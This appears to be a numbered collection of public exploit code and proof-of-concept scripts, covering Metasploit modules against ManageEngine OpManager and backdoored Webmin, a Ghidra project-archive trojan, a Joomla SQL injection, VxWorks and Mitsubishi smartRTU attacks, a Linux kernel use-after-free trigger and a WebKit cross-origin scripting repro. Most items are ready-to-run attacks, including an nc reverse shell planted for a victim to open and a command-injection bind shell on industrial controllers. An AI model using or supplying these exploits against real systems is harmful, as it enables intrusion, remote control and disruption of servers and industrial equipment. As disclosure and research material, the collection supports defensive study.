  10. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution", 'Description' => %q( This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions. It performs authentication bypass and executes commands on the server. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 8060, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'OpManager Username', 'admin']), OptString.new('TARGETURI', [true, 'Base path for ME application', '/']) ],self.class) end def check_platform(host, port, cookie) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'showTile.do'), 'cookie' => cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(host, port, cookie, platform, @dir) end def file_up(host, port, cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'rhost' => host, 'rport' => port, 'method' => 'POST', 'data' => data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(host, port, cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(host, port, cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method' => 'POST', 'rhost' => host, 'rport' => port, 'uri' => normalize_uri(target_uri.path, 'adminAction.do'), 'cookie' => cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(host, port, cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(host, port, cookie, action) send_request_cgi( 'method' => 'GET', 'rhost' => host, 'rport' => port, 'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie' => cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false') appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) # Password check vulnerability in Java Script :/ if res.body.include?('j_password.value=username') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'rhost' => am_host, 'rport' => am_port, 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['USERNAME'] + "@opm", 'submit' => 'Login' } ) if res && res.code == 302 or 303 print_good("Authentication bypass was successfully performed.") res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'cookie' => @cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(am_host, am_port, @cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end end
  11. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin 1.920 Unauthenticated RCE', 'Description' => %q{ This module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled. }, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-'], ['URL', 'https://www.pentest.com.tr'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'RPORT' => 10000, 'SSL' => false, 'PAYLOAD' => 'cmd/unix/reverse_python' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Webmin <= 1.910', {}]], 'DisclosureDate' => 'May 16 2019', 'DefaultTarget' => 0) ) register_options [ OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/']) ] end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end ## # Target and input verification ## def check # check passwd change priv res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "password_change.cgi"), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1" }) if res && res.code == 200 && res.body =~ /Failed/ res = send_request_cgi( { 'method' => 'POST', 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss" }) if res && res.code == 200 && res.body =~ /password_change.cgi/ return CheckCode::Vulnerable else return CheckCode::Safe end else return CheckCode::Safe end end ## # Exploiting phase ## def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end command = payload.encoded print_status("Attempting to execute the payload...") handler res = send_request_cgi( { 'method' => 'POST', 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), 'headers' => { 'Referer' => "#{peer}/session_login.cgi" }, 'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss" }) end end
  12. import os import inspect import argparse import shutil from shutil import copyfile print("") print("") print("################################################") print("") print("------------------CVE-2019-13623----------------") print("") print("################################################") print("") print("-----------------Ghidra-Exploit-----------------") print("--Tested version: Ghidra Linux version <= 9.0.4-") print("------------------------------------------------") print("") print("################################################") print("") print("----------Exploit by: Etienne Lacoche-----------") print("---------Contact Twitter: @electr0sm0g----------") print("") print("------------------Discovered by:----------------") print("---------https://blog.fxiao.me/ghidra/----------") print("") print("--------Exploit tested on Ubuntu 18.04----------") print("-----------------Dependency: zip----------------") print("") print("################################################") print("") print("") parser = argparse.ArgumentParser() parser.add_argument("file", help="Path to input export .gar file",default=1) parser.add_argument("ip", help="Ip to nc listener",default=1) parser.add_argument("port", help="Port to nc listener",default=1) args = parser.parse_args() if args.ip and args.port and args.file: rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) path = "../Ghidra/Features/Decompiler/os/linux64/decompile" os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/") os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile") os.system("chmod +x decompile") copyfile("decompile",path) copyfile(args.file,rootDirURL+"/"+"project.gar") os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile") os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE") os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE") os.system("zip -q project.zip project.gar") os.system("rm decompile README_BEFORE_OPEN_GAR_FILE") os.system("rm project.gar") print("You can now share project.zip and start your local netcat listener.") print("") print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR") print("root path for payload execution.") print("")
  13. #Exploit Title: Joomla! component com_jsjobs - SQL Injection #Dork: inurl:"index.php?option=com_jsjobs" #Date: 11.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/5/download/1 #Version: 1.2.5 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 296 in file site/models/cities.php 291 function isCityExist($countryid, $stateid, $cityname){ 292 if (!is_numeric($countryid)) 293 return false; 294 295 $db = $this->getDBO(); 296 $query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'"; //!!! 297 298 if($stateid > 0){ 299 $query .= " AND stateid=".$stateid; 300 }else{ 301 $query .= " AND (stateid=0 OR stateid IS NULL)"; 302 } 303 305 $db->setQuery($query); 306 $city = $db->loadObject(); 307 if ($city != null) 308 return $city; 309 else 310 return false; 311 } 312 313 } ##################################### #PoC: ##################################### http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada
  14. # Exploit Title: VxWorks TCP Urgent pointer = 0 integer underflow vulnerability # Discovered By: Armis Security # PoC Author: Zhou Yu (twitter: @504137480) # Vendor Homepage: https://www.windriver.com # Tested on: VxWorks 6.8 # CVE: CVE-2019-12255 # More Details: https://github.com/dazhouzhou/vxworks-poc/tree/master/CVE-2019-12255 # The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc. from scapy.all import * if __name__ == "__main__": ip = "192.168.10.199" dport = 23 seq_num = 1000 payload = "\x42"*2000 sport = random.randint(1024,65535) syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num) syn_ack = sr1(syn) seq_num = seq_num + 1 ack_num = syn_ack.seq+1 ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num) send(ack) psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload send(psh)
  15. #!/usr/bin/python # Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated Configuration Download # Date: 29 June 2019 # Exploit Author: (@xerubus | mogozobo.com) # Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local # Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/ # Firmware Version: Misubishi Electric 2.02 & INEA 3.0 # CVE-ID: CVE-2019-14927 # Full write-up: https://www.mogozobo.com/?p=3593 import sys, os, requests, socket os.system('clear') print("""\ _ _ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/ -= Conf_Me-smartRTU by @xerubus =- | D _]/\ \ -= We all have something to hide =- \___/ / /\ \\ (_ )( _) @Xerubus """) host = raw_input("Enter RTU IP address: ") php_page = '/saveSettings.php' url = "http://{}{}".format(host, php_page) print "[+] Attempting to download smartRTU configuration file" r = requests.get(url) if r.status_code == 200: print "[+] Successfully obtained smartRTU configuration file.. saving to smartRTU_conf.xml\n" with open('smartRTU_conf.xml', 'w') as f: f.write(r.content)
  16. /* On NUMA systems, the Linux fair scheduler tracks information related to NUMA faults in task_struct::numa_faults and task_struct::numa_group. Both of these have broken object lifetimes. Since commit 82727018b0d3 ("sched/numa: Call task_numa_free() from do_execve()", first in v3.13), ->numa_faults is freed not only when the last reference to the task_struct is gone, but also after successful execve(). However, show_numa_stats() (reachable through /proc/$pid/sched) locklessly reads data from ->numa_faults (use-after-free read) and prints it to a userspace buffer. To test this, I used a QEMU VM with the following NUMA configuration: -m 8192 -smp cores=4 -numa node,nodeid=0 -numa node,nodeid=1 Test code is attached; it takes a while before it triggers the bug since the race window is pretty small. KASAN report: ============================ [ 909.461282] ================================================================== [ 909.464502] BUG: KASAN: use-after-free in show_numa_stats+0x99/0x160 [ 909.465250] Read of size 8 at addr ffff8880ac8f8f00 by task numa_uaf/18471 [ 909.466167] CPU: 0 PID: 18471 Comm: numa_uaf Not tainted 5.2.0-rc7 #443 [ 909.466877] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 [ 909.467751] Call Trace: [ 909.468072] dump_stack+0x7c/0xbb [ 909.468413] ? show_numa_stats+0x99/0x160 [ 909.468879] print_address_description+0x6e/0x2a0 [ 909.469419] ? show_numa_stats+0x99/0x160 [ 909.469828] ? show_numa_stats+0x99/0x160 [ 909.470292] __kasan_report+0x149/0x18d [ 909.470683] ? show_numa_stats+0x99/0x160 [ 909.471137] kasan_report+0xe/0x20 [ 909.471533] show_numa_stats+0x99/0x160 [ 909.471988] proc_sched_show_task+0x6ae/0x1e60 [ 909.472467] sched_show+0x6a/0xa0 [ 909.472836] seq_read+0x197/0x690 [ 909.473264] vfs_read+0xb2/0x1b0 [ 909.473616] ksys_pread64+0x74/0x90 [ 909.474034] do_syscall_64+0x5d/0x260 [ 909.474975] entry_SYSCALL_64_after_hwframe+0x49/0xbe [ 909.475512] RIP: 0033:0x7f6f57742987 [ 909.475878] Code: 35 39 a4 09 00 48 8d 3d d1 a4 09 00 e8 52 77 f4 ff 66 90 48 8d 05 79 7d 0d 00 49 89 ca 8b 00 85 c0 75 10 b8 11 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 59 c3 41 55 49 89 cd 41 54 49 89 d4 55 48 89 [ 909.477905] RSP: 002b:00005565fc10d108 EFLAGS: 00000246 ORIG_RAX: 0000000000000011 [ 909.478684] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6f57742987 [ 909.479393] RDX: 0000000000001000 RSI: 00005565fc10d120 RDI: 0000000000000005 [ 909.480254] RBP: 00005565fc10e130 R08: 00007f6f57657740 R09: 00007f6f57657740 [ 909.481037] R10: 0000000000000000 R11: 0000000000000246 R12: 00005565fbf0b1f0 [ 909.481821] R13: 00007ffe60338770 R14: 0000000000000000 R15: 0000000000000000 [ 909.482744] Allocated by task 18469: [ 909.483135] save_stack+0x19/0x80 [ 909.483475] __kasan_kmalloc.constprop.3+0xa0/0xd0 [ 909.483957] task_numa_fault+0xff2/0x1d30 [ 909.484414] __handle_mm_fault+0x94f/0x1320 [ 909.484887] handle_mm_fault+0x7e/0x100 [ 909.485323] __do_page_fault+0x2bb/0x610 [ 909.485722] async_page_fault+0x1e/0x30 [ 909.486355] Freed by task 18469: [ 909.486687] save_stack+0x19/0x80 [ 909.487027] __kasan_slab_free+0x12e/0x180 [ 909.487497] kfree+0xd8/0x290 [ 909.487805] __do_execve_file.isra.41+0xf1e/0x1140 [ 909.488316] __x64_sys_execve+0x4f/0x60 [ 909.488706] do_syscall_64+0x5d/0x260 [ 909.489144] entry_SYSCALL_64_after_hwframe+0x49/0xbe [ 909.490121] The buggy address belongs to the object at ffff8880ac8f8f00 which belongs to the cache kmalloc-128 of size 128 [ 909.491564] The buggy address is located 0 bytes inside of 128-byte region [ffff8880ac8f8f00, ffff8880ac8f8f80) [ 909.492919] The buggy address belongs to the page: [ 909.493445] page:ffffea0002b23e00 refcount:1 mapcount:0 mapping:ffff8880b7003500 index:0xffff8880ac8f8d80 [ 909.494419] flags: 0x1fffc0000000200(slab) [ 909.494836] raw: 01fffc0000000200 ffffea0002cec780 0000000900000009 ffff8880b7003500 [ 909.495633] raw: ffff8880ac8f8d80 0000000080150011 00000001ffffffff 0000000000000000 [ 909.496451] page dumped because: kasan: bad access detected [ 909.497291] Memory state around the buggy address: [ 909.497775] ffff8880ac8f8e00: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb [ 909.498546] ffff8880ac8f8e80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc [ 909.499319] >ffff8880ac8f8f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 909.500034] ^ [ 909.500429] ffff8880ac8f8f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 909.501150] ffff8880ac8f9000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 909.501942] ================================================================== [ 909.502712] Disabling lock debugging due to kernel taint ============================ ->numa_group is a refcounted reference with RCU semantics, but the RCU helpers are used inconsistently. In particular, show_numa_stats() reads from p->numa_group->faults with no protection against concurrent updates. There are also various other places across the scheduler that use ->numa_group without proper protection; e.g. as far as I can tell, sched_tick_remote()->task_tick_fair()->task_tick_numa()->task_scan_start() reads from p->numa_group protected only by the implicit read-side critical section that spinlocks currently imply by disabling preemption, and with no protection against the pointer unexpectedly becoming NULL. I am going to send suggested fixes in a minute, but I think the approach for ->numa_group might be a bit controversial. The approach I'm taking is: - For ->numa_faults, just wipe the statistics instead of freeing them. - For ->numa_group, use proper RCU accessors everywhere. Annoyingly, if one of the RCU accessors detects a problem (with CONFIG_PROVE_LOCKING=y), it uses printk, and if the wrong runqueue lock is held at that point, a deadlock might happen, which isn't great. To avoid that, the second patch adds an ugly hack in printk that detects potential runqueue deadlocks if lockdep is on. I'm not sure how you all are going to feel about that one - maybe it's better to just leave it out, or do something different there? I don't know... I'm sending the suggested patches off-list for now; if you want me to resend them publicly, just say so. */ #define _GNU_SOURCE #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <numaif.h> #include <sched.h> #include <err.h> #include <time.h> #include <fcntl.h> #include <signal.h> #include <sys/prctl.h> #include <sys/mman.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/uio.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> int sched_fd; int get_scan_seq(void) { char buf[0x1000]; ssize_t buflen = pread(sched_fd, buf, sizeof(buf)-1, 0); if (buflen == -1) err(1, "read sched"); buf[buflen] = '\0'; char *p = strstr(buf, "numa_scan_seq"); if (!p) errx(1, "no numa_scan_seq"); *strchrnul(p, '\n') = '\0'; p = strpbrk(p, "0123456789"); if (!p) errx(1, "no numa_scan_seq"); return atoi(p); } void reexec(char *arg0) { char *argv[] = {arg0, NULL}; execvp("/proc/self/exe", argv); err(1, "reexec"); } volatile int uaf_child_ready = 0; static int sfd_uaf(void *fd_) { int fd = (int)(long)fd_; /* prctl(PR_SET_PDEATHSIG, SIGKILL); if (getppid() == 1) raise(SIGKILL); */ while (1) { char buf[0x1000]; ssize_t res = pread(fd, buf, sizeof(buf)-1, 0); if (res == -1) { if (errno == ESRCH) _exit(0); err(1, "pread"); } buf[res] = '\0'; puts(buf); uaf_child_ready = 1; } } int main(int argc, char **argv) { if (strcmp(argv[0], "die") == 0) { _exit(0); } sched_fd = open("/proc/self/sched", O_RDONLY|O_CLOEXEC); if (sched_fd == -1) err(1, "open sched"); // allocate two pages at the lowest possible virtual address so that the first periodic memory fault is scheduled on the first page char *page = mmap((void*)0x1000, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); if (page == MAP_FAILED) err(1, "mmap"); *page = 'a'; // handle the second page with uffd int ufd = syscall(__NR_userfaultfd, 0); if (ufd == -1) err(1, "userfaultfd"); struct uffdio_api api = { .api = UFFD_API, .features = 0 }; if (ioctl(ufd, UFFDIO_API, &api)) err(1, "uffdio_api"); struct uffdio_register reg = { .mode = UFFDIO_REGISTER_MODE_MISSING, .range = { .start = (__u64)page+0x1000, .len = 0x1000 } }; if (ioctl(ufd, UFFDIO_REGISTER, &reg)) err(1, "uffdio_register"); // make sure that the page is on the CPU-less NUMA node unsigned long old_nodes = 0x1; unsigned long new_nodes = 0x2; if (migrate_pages(0, sizeof(unsigned long), &old_nodes, &new_nodes)) err(1, "migrate_pages"); // trigger userfault in child pid_t uffd_child = fork(); if (uffd_child == -1) err(1, "fork"); if (uffd_child == 0) { prctl(PR_SET_PDEATHSIG, SIGKILL); struct iovec iov = { .iov_base = (void*)0x1fff, .iov_len = 2 }; process_vm_readv(getppid(), &iov, 1, &iov, 1, 0); err(1, "process_vm_readv returned"); } sleep(1); int ini_seq = get_scan_seq(); printf("initial scan_seq: %d\n", ini_seq); if (ini_seq) reexec("m"); // wait for a migration time_t start_time = time(NULL); while (1) { if (time(NULL) > start_time + 30) { puts("no migration detected!"); reexec("m"); } int cur_seq = get_scan_seq(); if (cur_seq != 0) { printf("new scan_seq: %d\n", cur_seq); goto migration_done; } } migration_done: printf("migration done after %d seconds\n", (int)(time(NULL)-start_time)); while (1) { pid_t pid = fork(); if (pid == -1) err(1, "fork"); if (pid == 0) { static char uaf_stack[1024*1024]; static char uaf_stack2[1024*1024]; int sfd = open("/proc/self/sched", O_RDONLY); if (sfd == -1) err(1, "open sched"); pid_t uaf_child = clone(sfd_uaf, uaf_stack+sizeof(uaf_stack), CLONE_FILES|CLONE_VM, (void*)(long)sfd); if (uaf_child == -1) err(1, "clone uaf_child"); uaf_child = clone(sfd_uaf, uaf_stack2+sizeof(uaf_stack2), CLONE_FILES|CLONE_VM, (void*)(long)sfd); if (uaf_child == -1) err(1, "clone uaf_child"); while (!uaf_child_ready) __builtin_ia32_pause(); *(volatile char *)page = 'b'; reexec("die"); } int status; if (wait(&status) != pid) err(1, "wait"); } }
  17. #!/usr/bin/python # Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated OS Command Injection # Date: 29 June 2019 # Exploit Author: (@xerubus | mogozobo.com) # Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local # Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/ # Firmware Version: Misubishi Electric 2.02 & INEA 3.0 # CVE-ID: CVE-2019-14931 # Full write-up: https://www.mogozobo.com/?p=3593 import sys, os, requests, socket os.system('clear') print("""\ _ _ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/ -= Bind_Me-smartRTU by @xerubus =- | D _]/\ \ -= We all have something to hide =- \___/ / /\ \\ (_ )( _) @Xerubus """) host = raw_input("Enter RTU IP address: ") port = raw_input("Enter bind shell port number: ") php_page = '/action.php' url = "http://{}{}".format(host, php_page) payload = {'host' : ';sudo /usr/sbin/service ../../bin/nc -nvlp '+port+' -e /bin/sh&PingCheck=Test'} print "\n[+] Building payload" print "[+] Sending payload" print "[+] Attempting connection to smartRTU" try: r = requests.post(url, data=payload, timeout=1) except: pass port = (int(port)) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) try : print "[+] Connected to the smartRTU!\n" while 1: cmd = raw_input("(smartRTU-shell) # "); s.send(cmd + "\n"); result = s.recv(1024).strip(); if not len(result) : print "\n[!] Play nice now skiddies....\n\n" s.close(); break; print(result); except KeyboardInterrupt: print "\n[+] ^C Received, closing connection" s.close(); except EOFError: print "\n[+] ^D Received, closing connection" s.close(); except socket.error: print "[!] Failed to connect to bind shell."
  18. VULNERABILITY DETAILS https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66 ``` Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString, const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame) { Ref<Document> ownerDocument(sourceNode->document()); bool sourceIsDocument = (sourceNode == &ownerDocument.get()); String documentSource = sourceString; RefPtr<Document> result; if (sourceMIMEType == "text/plain") { result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL()); transformTextStringToXHTMLDocumentString(documentSource); } else result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL()); // Before parsing, we need to save & detach the old document and get the new document // in place. We have to do this only if we're rendering the result document. if (frame) { [...] frame->setDocument(result.copyRef()); } auto decoder = TextResourceDecoder::create(sourceMIMEType); decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader); result->setDecoder(WTFMove(decoder)); result->setContent(documentSource); ``` https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248 ``` void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this); if (m_documentIsBeingReplaced) // ***1*** return; m_documentIsBeingReplaced = true; [...] if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction(); // ***2*** m_doc = newDocument.copyRef(); ``` `setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called, `newDocument` might already have a reference to a `Frame` object, and if the method returns early, that reference will never get cleared by subsequent navigations. It's not possible to trigger document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI load; however, an attacker can use an XSLT transformation for that. When the attacker has an extra document attached to a frame, they can navigate the frame to a cross-origin page and issue a form submission request to a 'javascript:' URI using the extra document to trigger UXSS. VERSION WebKit revision 245321. It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1). REPRODUCION CASE repro.html: ``` <body> <script> createFrame = doc => doc.body.appendChild(document.createElement('iframe')); pi = document.createProcessingInstruction('xml-stylesheet', 'type="text/xml" href="stylesheet.xml"'); cache_frame = createFrame(document); cache_frame.contentDocument.appendChild(pi); setTimeout(() => { victim_frame = createFrame(document); child_frame_1 = createFrame(victim_frame.contentDocument); child_frame_1.contentWindow.onunload = () => { victim_frame.src = 'javascript:""'; try { victim_frame.contentDocument.appendChild(document.createElement('html')). appendChild(document.createElement('body')); } catch { } child_frame_2 = createFrame(victim_frame.contentDocument); child_frame_2.contentWindow.onunload = () => { doc = victim_frame.contentDocument; doc.write('foo'); doc.firstChild.remove(); doc.appendChild(pi); doc.appendChild(doc.createElement('root')); doc.close(); } } victim_frame.src = 'javascript:""'; if (child_frame_1.xslt_script_run) { victim_frame.src = 'http://example.com/'; victim_frame.onload = () => { form = corrupted_doc.createElement('form'); form.action = 'javascript:alert(document.body.innerHTML)'; form.submit(); } } }, 2000); </script> </body> ``` stylesheet.xml: ``` <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <body> <script> <![CDATA[ document.body.lastChild.xslt_script_run = true; ]]> </script> <iframe src="javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();"></iframe> </body> </html> </xsl:template> </xsl:stylesheet> ``` CREDIT INFORMATION Sergei Glazunov of Google Project Zero
